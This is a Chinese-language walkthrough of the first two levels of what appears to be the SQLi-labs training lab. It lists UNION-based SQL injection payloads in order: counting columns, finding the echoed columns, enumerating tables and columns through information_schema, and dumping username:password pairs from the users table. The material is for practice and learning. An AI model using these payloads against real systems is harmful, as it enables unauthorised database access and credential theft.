?id=1' order by 4 --+ 从 1 递增测试列数,直到 4 报错 Unknown column '4' in 'order clause' 说明列数为3;
?id=-1' union select 1,2,3 --+ 让位测试回显位,发现第 2 列和第 3 列是回显位;
?id=-1' union select 1,database(),version() --+ 查看当前库名(security)和数据库版本;
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 查询 security 库中的所有表名,单行拼接。(emails,referers,uagents,users)-- 判断敏感信息在 users 表中;
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 查询 users 表中的所有列名;(USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password)-- 看到一开始查询的 id 列,还有目标 username 和 password;
?id=-1' union select 1,group_concat(username,':',password),3 from users --+ 从 users 表中以 username:password 单行拼接的形式查询所有数据。(同理可以查到 id 能查询哪些);
通关!
Less-2
?id=2-1 与 ?id=1 结果相同,判断是数字型注入;-- 不用闭合单引号
?id=1 order by 4 --+ 同 Less-1,列数为 3;
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ -- 优化 Less-1 的逻辑,直接查询当前库的所有表名;
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
?id=-1 union select 1,group_concat(username,':',password),3 from users --+